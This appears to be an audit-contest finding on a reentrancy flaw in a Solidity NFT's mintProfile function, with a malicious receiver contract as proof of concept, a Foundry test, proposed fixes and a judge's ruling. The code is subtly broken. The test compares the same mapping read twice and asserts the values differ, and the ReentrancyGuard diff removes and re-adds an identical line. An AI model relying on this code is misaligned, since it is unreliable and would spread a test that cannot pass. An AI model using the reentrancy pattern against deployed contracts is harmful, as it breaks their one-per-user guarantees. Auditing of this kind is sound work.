DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy Vulnerability in `SoulboundProfileNFT::mintProfile`, Leading to Multiple Profile Minting

Summary

The SoulboundProfileNFT::mintProfile function is vulnerable to reentrancy attacks due to the use of _safeMint, which triggers an external call to the recipient's onERC721Received function. A malicious contract can exploit this to mint multiple profiles, violating the "one profile per user" constraint.

Vulnerability Details

Root Cause:

  • The SoulboundProfileNFT::mintProfile function uses _safeMint, which calls the recipient’s onERC721Received function.

  • The state, profileToToken and _profiles, is updated after this external call.

  • A malicious recipient can reenter mintProfile during the callback, bypassing the profileToToken[msg.sender] == 0 check and minting multiple profiles.

Example Attack Flow:

  1. User A (a malicious contract) calls SoulboundProfileNFT::mintProfile().

  2. _safeMint triggers onERC721Received in User A’s contract.

  3. User A’s contract reenters mintProfile before profileToToken is updated.

  4. A second profile is minted for User A, violating the protocol’s design.

Impact

  1. Protocol Integrity Failure: Users can mint multiple profiles, breaking the "one profile per user" rule.

  2. Metadata Corruption: Multiple tokens with conflicting metadata can be associated with a single user.

  3. Fund Loss (Indirect): If the protocol charges fees for profile creation, attackers can drain funds by minting repeatedly.

Proof of Concept (PoC)

Add the following test case to your Foundry test suite:

// Malicious contract that reenters `mintProfile` during `onERC721Received`
contract MaliciousReceiver is IERC721Receiver {
SoulboundProfileNFT nft;
address owner;
constructor(address _nft) {
nft = SoulboundProfileNFT(_nft);
owner = msg.sender;
}
function mint() external {
nft.mintProfile("Hacker", 30, "ipfs://hacker");
}
function onERC721Received(address, address, uint256, bytes calldata) external override returns (bytes4) {
// Reenter `mintProfile` during the callback
if (nft.profileToToken(address(this)) == 0) {
nft.mintProfile("Hacker", 30, "ipfs://hacker");
}
return this.onERC721Received.selector;
}
}
// Test case in SoulboundProfileNFTTest
function testReentrancyInMintProfile() public {
// Deploy the malicious contract
MaliciousReceiver attacker = new MaliciousReceiver(address(soulboundNFT));
// Mint a profile from the malicious contract
attacker.mint();
// Verify that the attacker has two profiles (should fail if the fix is applied)
uint256 tokenId1 = soulboundNFT.profileToToken(address(attacker));
uint256 tokenId2 = soulboundNFT.profileToToken(address(attacker));
assertTrue(tokenId1 != 0 && tokenId2 != 0, "Attacker should have two profiles");
assertTrue(tokenId1 != tokenId2, "Token IDs should be different");
}

Expected Result Before Fix:

  • The test passes, showing that the attacker successfully minted two profiles.

Expected Result After Fix:

  • The test fails, as reentrancy is prevented.


Recommendation

Option 1: Add a Reentrancy Guard
Use OpenZeppelin’s ReentrancyGuard to block reentrant calls:

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract SoulboundProfileNFT is ERC721, Ownable, ReentrancyGuard {
+ contract SoulboundProfileNFT is ERC721, Ownable, ReentrancyGuard {
// ... existing code ...
- contract SoulboundProfileNFT is ERC721, Ownable, ReentrancyGuard { function mintProfile(string memory name, uint8 age, string memory profileImage) external {
+ contract SoulboundProfileNFT is ERC721, Ownable, ReentrancyGuard { function mintProfile(string memory name, uint8 age, string memory profileImage) external nonReentrant {
// ... existing code ...
}
  1. Follow the Checks-Effects-Interactions (CEI) Pattern
    Restructure the mintProfile function to update state before making external calls.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
+ _safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Appeal created

n0kto Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.